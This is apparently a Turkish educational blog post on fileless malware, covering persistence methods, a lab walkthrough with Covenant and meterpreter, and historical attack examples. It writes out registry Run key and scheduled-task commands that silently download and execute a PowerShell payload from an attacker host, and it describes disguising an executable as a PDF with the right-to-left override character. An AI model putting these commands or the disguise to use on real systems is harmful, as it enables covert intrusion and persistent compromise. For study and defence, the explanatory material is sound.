Fileless malware
Fileless Malware nedir ?
Türkçe olarak Dosyasız kötü amaçlı yazılım olarak geçen Fileless Malware saldırganların geliştirmiş olduğu tehlikeli bir saldırı yöntemidir. Bu yazılımın amacı kendisini sistemde hiçbir dosya üzerinde tutmadan geçici bellek olan RAM’de çalışarak amaçlarını yerine getirmesidir. İşlevlerini genelde bilgisayar üzerinde çalışan aktif süreçleri (Örn. explorer.exe, Powershell.exe) kullanarak gerçekleştirir. Kalıcı bellekte (Hard Disk) herhangi bir veri tutmadığından dolayı da çoğu antivirüs aracını atlatabilmektedir. Fileless Malware denince akla genelde Windows cihazlar gelmektedir. Fakat aynı işlem Linux makineleri üzerinde de yapılmaktadır. Windows için Lolbas (Living Off The Land Binaries and Scripts), Office Macro, Memory Injection gibi teknikler bulunmaktadır. Linux tabanlı işletim sistemleri içinde GTFObins, RCF (Remote Code Fetching) gibi yöntemler vardır.
Neden Fileless Malware kullanılıyor, Avantajları neler ?
- Tespit edilmesi zordur: Klasik zararlı yazılımların aksine çalıştığı disk üzerinde herhangi bir dosya bırakmaz.
- Ekstra kurulum yapılmaması ve Sistem araçlarını kullanması: Powershell.exe, WMI, mshta, rundll32 gibi Windows bileşenleriyle çalışır. Bu araçlar güvenilir olduğundan çoğu güvenlik yazılımı engellemez.
- Dosyasız olmasına rağmen Kalıcılık (Persistence) Sağlanabilir. Fileless bir zararlı, registry, WMI Event Subscription veya Scheduled Task gibi tekniklerle her yeniden başlatmada belleğe tekrar yüklenebilir.
Fileless Malware Yöntemleri:
Kayıt Defteri Otomatik Başlatma Anahtarları (Run Keys): Zararlı yazılımlar, HKLM veya HKCU\Software\Microsoft\Windows\CurrentVersion\Run gibi kayıt defteri anahtarlarına giriş ekleyerek PowerShell komutlarını başlangıçta çalıştırabilir. Bu yöntemde saldırgan, çalıştırılacak bir komutu Run anahtarına değer olarak yazar. Örneğin bir olayda “Misfox” zararlısı, kayıt defterine Base64 şifreli bir PowerShell yükü koymuş ve Run anahtarında tek satırlık bir PowerShell komutu ile bunu çalıştırmıştır. Bu yöntemle dosyaların yerine kayıt defteri kullanıldığı için çoğu antivirüs tespit edemez.
Planlanmış Görevler (Scheduled Tasks): Windows Görev Zamanlayıcı kullanılarak zararlı PowerShell komutunun veya script’in belli bir tetikleyiciyle (örneğin kullanıcı oturum açtığında) çalıştırılmasıdır. Örneğin PowerShell tabanlı bir yükte komut dosyası, kullanıcı oturumu açıldığında gizli bir PowerShell işlemi başlatacak şekilde görev olarak kaydedilmiştir.
WMI Olay Abonelikleri (Event Subscriptions): Windows Yönetim Altyapısı (WMI) da kalıcılık için kullanılabilir. WMI kalıcı olay abonelikleri ile bir sistem olayı tetiklendiğinde (örneğin sistem açılışı, giriş yapılması) belirli komutlar otomatik çalıştırılabilir. Örneğin WMI Repository içine gömülen PowerShell komutları, zamanlanmış filtrelerle periyodik olarak tetiklenebilir.
Living-off-the-Land Binaries (LOLBins): Saldırganlar, Windows’un kendi araçlarını (PowerShell, WMI, mshta.exe , regsvr32.exe gibi) kötüye kullanarak da kalıcılık sağlayabilir. Bu araçlar normalde sistem yönetiminde kullanıldığı için zararlı trafiğe karışmaz. Saldırganların saklanarak çalışmasını mümkün kılar. Bu tekniklerle saldırgan, sisteme ek araç yüklemeden, sistemde zaten var olan araçları tetikleyerek zararlı kodunu çalıştırabilir.
Fileless Malware Çalışma Mantığı:
Malware’in belirli bir yöntemle hedef makineye iletilmesi ve çalıştırılması için şu aşamalardan geçer;
Hedef sisteme iletimi: Saldırgan Malware’i çalıştırabilmek için aşağıdaki yöntemler ile hedef sisteme erişmeye çalışır;
- Sahte e-postalar
- Web tarayıcı üzerinde bulunan açıklar
- Zararlı makrolar içeren Office belgeleri
- USB aygıtları Çoğu saldırının gerçekleşebilmesi için kullanıcının etkileşimine ihtiyaç duyulmaktadır.
Malware’in çalışması: Örnek olarak bir web tarayıcısı üzerinde bulunan bir zafiyetle ilerlediğimizi düşünelim. Kurban siteye girdiğinde sitede bulunan bazı kodlar sebebiyle tarayıcısı zafiyetli kodu çalıştırır. Hali hazırda çalışan işlemlerin içerisine dahil olup onlar üzerinden belirli komutlar çalıştırarak istenilen davranışı gerçekleştirir. Sadece RAM üzerinde çalıştığı ve bellek üzerinde herhangi bir log bırakmadığı için tespiti de zorlaşmaktadır. Fakat burada dikkat etmek gerekir ki Olay izleyicileri aktif hale getirilmiş ise bazı programların yaptığı işlevler üzerinde log tutma işlemi yapılır. Bu da Malware’in tespit edilmesini sağlayabilir.
Sistemde Kalıcılık (Persistence) :
1.Kayıt Defteri Otomatik Başlatma Anahtarları (Run Keys):
Windows Kayıt Defteri (Registry), sistem başlatıldığında veya oturum açıldığında hangi uygulamaların çalıştırılacağını belirleyen Run anahtarlarına sahiptir. Fileless malware, bu alanlara PowerShell tabanlı komutlar, mshta, rundll32 gibi meşru araçları kullanarak zararlı kodu yeniden çağırabilir. Örnek :
1
2
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "Updater" -Value "powershell.exe -w hidden -nop -c IEX(New-Object Net.WebClient).DownloadString('http://saldırgan/payload.ps1')"
2.Planlanmış Görevler (Scheduled Tasks):
Windows Görev Zamanlayıcısı (Task Scheduler), saldırganların bir komutu belirli aralıklarla veya sistem açılışında çalıştırmak için kullandığı yaygın bir kalıcılık tekniğidir. Zararlı yükler genellikle PowerShell gibi dosyasız komutlarla tetiklenir.
Örnek:
1
schtasks /create /tn "SystemUpdate" /tr "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://saldırgan.com/ps1')" /sc onlogon /ru SYSTEM
Laboratuvar Ortamında Test:
Linux ortamında test etmek için Covenant Aracını kullandım. Covenant ofansif tarafta hizmet eden komut oluşturan ve hazır kontrol platformu olan bir araçtır. Windows üzerindeki araçlar ile etkileşime girip sistemde kod çalıştırabilmeyi veya sistemi ele geçirmeyi sağlayan bir araçtır. Gerekli kurulum ve ayarlamaları yaptıktan sonra “dotnet –run” komutu ile çalıştırıyoruz.
![[Pasted image 20250525225745.png]] Oluşturduğumuz komutların bağlantısını sağlayabilmek için öncelikle listener oluşturmamız gerekiyor.
Şimdi Launcher sekmesi üzerinden windows üzerinde çalışan bir aracın çalıştırabileceği komutlar üzerinden kendi fileless malware’imizi oluşturuyoruz.
![[Pasted image 20250525230017.png]]
![[Pasted image 20250525231737.png]] Powershell penceresi komutu yazdıktan sonra otomatik bir şekilde kapandı ve arka planda çalışmaya devam ediyor. ![[Pasted image 20250525231357.png]]
Grunt’s kısmında aktif bir oturum elde etmeyi başardık. ![[Pasted image 20250525231446.png]] Ve artık komut çalıştırabiliyoruz. ![[Pasted image 20250525231528.png]]
Diğer bir yöntem ise Bir PDF dosyasının içerisine Zararlı yazılımı enjekte edip. Karşı taraf dosyayı açtığı gibi arka planda bir powershell betiği ile sisteminde bir reverse shell elde etmeyi deneyeceğiz.
- Adım : Payload Oluşturma: ![[Pasted image 20250525232023.png]]
- Adım : Dosya Gizleme teknikleri ve PDF dosyası açılınca kodu çalıştırma yöntemi ![[Pasted image 20250525233233.png]] SFX arşiv oluştur diyerek dosyanın adını exe formatından .pdf formatına çevirmeyi deneyeceğiz. ![[Pasted image 20250525233350.png]] Çalıştıracağımız dosyaları yazıyoruz. Daha sonra modlardan Geçici Klasörü açıp tümünü gizle yapıyoruz. Güncelleme kısmından üzerine yazma modunda tüm dosyaların üzerine yazı seçiyoruz. Logo ve simgeyi de pdf iconu indirip uyguluyoruz. Windows charmap üzerinden 202E karakterini seçiyoruz ![[Pasted image 20250525234015.png]] Böylelikle dosyanın ismi Testexe.pdf şeklinde değişmiş oluyor. Kullanıcı tıklayınca karşısına pdf dökümanı geliyor fakat arkada bir meterpreter bağlantısı ile kod çalıştırılmış oluyor ![[Pasted image 20250525234756.png]] ![[Pasted image 20250525234818.png]]
Fileless Malware Saldırı Örnekleri (2017 ve Sonrası)
Aşağıda 2017’den bu yana tespit edilmiş kayda değer fileless (dosyasız) zararlı yazılım saldırılarının bazı örnekleri yer alıyor:
Frodo
Frodo tamamen dosyasız olmasa da, bu tür zararlı yazılımların öncülerinden biri olarak kabul edilir. Virüs, bilgisayarın boot sektörüne yüklenerek çalışır. 1989 yılında keşfedilen bu yazılım, ekranda “Frodo Lives” mesajını göstermek gibi zararsız bir amaca sahipti. Ancak kötü yazıldığı için sistemde kazara hasara neden olabiliyordu.
The Dark Avenger
1989’da tespit edilen bu zararlı yazılım, dosya aracılığıyla bulaşsa da bellekte çalışıyordu. Çalıştırılan her dosyaya bulaşarak sistemde yayılıyordu. Fileless mantığın erken örneklerinden biri sayılır.
Duqu 2.0
2015 yılında Kaspersky Labs’in kendi sistemine yapılan saldırıyla keşfedildi. Stuxnet’in bir varyantı olan Duqu 2.0, altı ay boyunca fark edilmeden sistemde kaldı. Bellekte çalışarak hiçbir dosya izi bırakmadı.
Operation Cobalt Kitty
2017 yılında bir Asya şirketine karşı düzenlenen bu APT saldırısı, PowerShell komutları aracılığıyla uzaktan komuta sunucusuyla iletişim kurdu. Cobalt Strike Beacon gibi bileşenlerle desteklenen saldırı, bir yıl boyunca tespit edilmeden sürdü.
Meterpreter
Metasploit kiti içinde yer alan Meterpreter, 2017 yılında 40 ülkedeki 100’den fazla bankaya sızdı. ATM’leri kontrol etmeye yönelik bu saldırı, bellek içi çalışarak iz bırakmadı. Sadece Rusya’daki bazı bankalarda 800.000 dolar çalındı.
UIWIX
WannaCry saldırısından hemen sonra ortaya çıkan UIWIX, aynı EternalBlue açığını kullandı ancak dosyasız çalışarak antivirüslerden kaçmayı hedefledi. Ancak WannaCry’dan sonra gelen yamalar, bu zararlının yayılmasını büyük oranda engelledi.
WannaMine
EternalBlue açığını kullanan bir başka zararlı yazılım olan WannaMine, özellikle kurumsal sunucularda fark edilmeden kripto para madenciliği yapar. İlk kez 2017 ortasında fark edilmiştir. Hâlâ aktif olarak tespit edilmektedir.
Misfox
2016 yılında Microsoft’un Güvenlik Müdahale Ekibi tarafından keşfedilen Misfox, PowerShell komutları çalıştırarak bellekte etkinlik gösterir ve kalıcılığı kayıt defteri üzerinden sağlar. Microsoft, bu tehdide karşı Defender’da çözüm sundu.
HeadCrab
Aqua Security tarafından 2023’te keşfedilen HeadCrab, 1000’den fazla Redis sunucusuna bulaşmıştı. Zararlı yazılım, tamamen bellekte çalışır ve tüm günlük kayıtlarını silerek tespiti zorlaştırır. Monero madenciliği için kullanılır.
PyLoose
Wiz tarafından keşfedilen PyLoose, Python tabanlı ilk dosyasız bulut saldırısı olarak kayıtlara geçti. XMRig madenciliğini doğrudan belleğe yükleyen bir Python kodu ile çalışır. 2023’te 200’den fazla saldırı örneği tespit edildi.
Kaynaklar: https://www.comparitech.com/blog/information-security/fileless-malware-attacks/ https://sibermetin.com/sessiz-duesman-fileless-malware https://www.pentestnotes.blog/post/fileless-malware-nedir https://hacktorx.com/blog/fileless-malware/#Fileless_Malware_Nedir